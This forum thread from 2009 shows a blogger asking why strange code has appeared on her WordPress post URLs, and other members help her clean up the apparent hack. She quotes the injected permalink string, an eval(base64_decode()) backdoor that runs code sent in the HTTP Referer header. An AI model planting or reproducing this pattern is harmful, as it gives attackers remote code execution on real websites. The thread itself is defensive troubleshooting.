Help! My Blog Posts Now Have Weird Code on the URL

TiffanyDow · 09-04-2009, 08:52 AM

Hey Warriors!

Someone just notified me (and it's true) that whenever you go to my tiffanydow blog (I won't post the link but google it if you want or PM me), if you hover over or click on any of the individual posts, it has a string of weird text tacked on.

I have NO clue why it's suddenly started doing this...it looks like this:

/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFER ER%5D))%7D%7D|.+)&%/

(that's the part tacked on after the domain.com/article-title/ part).

What in the world is this?
tiff

barbling · 09-04-2009, 09:05 AM

Hey Tiff,

I found this:

WordPress › Support Question About Possible Hack of Site

The folks there seem to think it's a hack attempt.

ramkarthik · 09-04-2009, 09:05 AM

What was the permalink for the blog? Maybe you have something screwed up there? (/%postname%/what comes here?)

TiffanyDow · 09-04-2009, 09:08 AM

Quote:

Originally Posted by ramkarthik

What was the permalink for the blog? Maybe you have something screwed up there? (/%postname%/what comes here?)

Thanks Barbara! I'll try to repair it

Not sure what you mean by permalink...

barbling · 09-04-2009, 09:08 AM

More info:

WordPress › Support WP adding code to the end of url links breaking them

Check to if you have new admins added to your Wordpress too.

Wordpress Permalink & Rss problems

seems to have the latest update info, hope it helps!

TiffanyDow · 09-04-2009, 09:10 AM

Someone told me to return to default on permalinks and I did...and it seems to be working., But if it was a hack, what else can I do besides change the password?

barbling · 09-04-2009, 09:18 AM

Quote:

Originally Posted by TiffanyDow

Someone told me to return to default on permalinks and I did...and it seems to be working., But if it was a hack, what else can I do besides change the password?

Check if there's more than one new admin.

Wordpress Permalink & Rss problems

has a step-by-step way to resolve the problem.

Good luck!!

TiffanyDow · 09-04-2009, 09:20 AM

Quote:

Originally Posted by barbling

More info:

WordPress › Support WP adding code to the end of url links breaking them

Check to if you have new admins added to your Wordpress too.

Wordpress Permalink & Rss problems

seems to have the latest update info, hope it helps!

Thanks Barbara!

I fixed the permalink structure. One of the sources you gave me said to check for new administrators and I don't have any so hopefully this is the end of that. Craig said he'd ride in on a white horse and help me after his coaching call. Tech idiots like me need a knight in shining armor. lol

barbling · 09-04-2009, 09:22 AM

Quote:

Originally Posted by TiffanyDow

Thanks Barbara!

I fixed the permalink structure. One of the sources you gave me said to check for new administrators and I don't have any so hopefully this is the end of that. Craig said he'd ride in on a white horse and help me after his coaching call. Tech idiots like me need a knight in shining armor. lol

Good luck! Hope everything gets cleared up real soon...it's heck when things happen like that. Lots of empathy.

Robyn8243 · 09-04-2009, 09:25 AM

If your site was hacked, it may not be through wordpress, but through your hosting.

Happened to me, and at first I thought my Wordpress was hacked, but it turned out the hacking was through my hosting account.

Hostgator took care of deleting the malicious code from all of my sites.

Good luck with dealing with this.

Robyn

Colin Evans · 09-04-2009, 09:44 AM

Hi Tiffany,

Make sure the .htaccess file for your blog hasn't been hacked...

waken · 09-04-2009, 09:59 AM

Hey Tiff, here's plugin to check on your security setting .. http://semperfiwebdesign.com/custom-...security-scan/

BTW, you can read all about permalink within your admin > setting > permalink. But if you have All In One SEO plugin,just go to the option / setup page of this plugin.

ramkarthik · 09-04-2009, 10:41 AM

Whenever something weird happens, do a quick backup of your blog first. Then contact your host and they'll often be able to help you.

I had a problem few days ago which made my single pages to be blank. I contacted my host and they solved it.

TiffanyDow · 09-04-2009, 12:16 PM

Update: Host reset me back to last Sunday - I saved all my blog posts from that day on. Craig from bloglockdown is helping me fix what I screwed up messing with it

MizzCindy · 09-04-2009, 12:29 PM

Hope it all gets fixed quickly! Craig Desorcy has helped me tremendously, as well. You're in good hands.

Cindy

09-04-2009, 08:52 AM	#1
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ramkarthik Blogger Join Date: Dec 2007 Location: India Posts: 499 Thanks: 33 Thanked 38 Times in 24 Posts Social Networking Contact Info	Re: Help! My Blog Posts Now Have Weird Code on the URL What was the permalink for the blog? Maybe you have something screwed up there? (/%postname%/what comes here?)
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09-04-2009, 09:10 AM	#6
TiffanyDow Senior Warrior Member War Room Member Join Date: Oct 2006 Location: Kennedale, Texas Posts: 3,407 Blog Entries: 36 Thanks: 333 Thanked 590 Times in 131 Posts Social Networking	Re: Help! My Blog Posts Now Have Weird Code on the URL Someone told me to return to default on permalinks and I did...and it seems to be working., But if it was a hack, what else can I do besides change the password?
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09-04-2009, 09:25 AM	#10
Robyn8243 HyperActive Warrior War Room Member Join Date: Aug 2007 Location: New Jersey Posts: 358 Thanks: 80 Thanked 75 Times in 47 Posts	Re: Help! My Blog Posts Now Have Weird Code on the URL If your site was hacked, it may not be through wordpress, but through your hosting. Happened to me, and at first I thought my Wordpress was hacked, but it turned out the hacking was through my hosting account. Hostgator took care of deleting the malicious code from all of my sites. Good luck with dealing with this. Robyn

09-04-2009, 09:44 AM	#11
Colin Evans Advanced Warrior War Room Member Join Date: May 2003 Location: Still Looking... Currently back in Zim... Posts: 673 Thanks: 109 Thanked 60 Times in 28 Posts Social Networking	Re: Help! My Blog Posts Now Have Weird Code on the URL Hi Tiffany, Make sure the .htaccess file for your blog hasn't been hacked...
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waken Advanced Warrior Join Date: Dec 2006 Posts: 938 Thanks: 34 Thanked 30 Times in 26 Posts	Re: Help! My Blog Posts Now Have Weird Code on the URL Hey Tiff, here's plugin to check on your security setting .. http://semperfiwebdesign.com/custom-...security-scan/ BTW, you can read all about permalink within your admin > setting > permalink. But if you have All In One SEO plugin,just go to the option / setup page of this plugin.
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09-04-2009, 10:41 AM	#13
ramkarthik Blogger Join Date: Dec 2007 Location: India Posts: 499 Thanks: 33 Thanked 38 Times in 24 Posts Social Networking Contact Info	Re: Help! My Blog Posts Now Have Weird Code on the URL Whenever something weird happens, do a quick backup of your blog first. Then contact your host and they'll often be able to help you. I had a problem few days ago which made my single pages to be blank. I contacted my host and they solved it.
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TiffanyDow Senior Warrior Member War Room Member Join Date: Oct 2006 Location: Kennedale, Texas Posts: 3,407 Blog Entries: 36 Thanks: 333 Thanked 590 Times in 131 Posts Social Networking	Re: Help! My Blog Posts Now Have Weird Code on the URL Update: Host reset me back to last Sunday - I saved all my blog posts from that day on. Craig from bloglockdown is helping me fix what I screwed up messing with it
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09-04-2009, 12:29 PM	#15
MizzCindy Cindy Hohe, Hohe Media War Room Member Join Date: Jan 2008 Location: USA Posts: 506 Thanks: 169 Thanked 54 Times in 35 Posts	Re: Help! My Blog Posts Now Have Weird Code on the URL Hope it all gets fixed quickly! Craig Desorcy has helped me tremendously, as well. You're in good hands. Cindy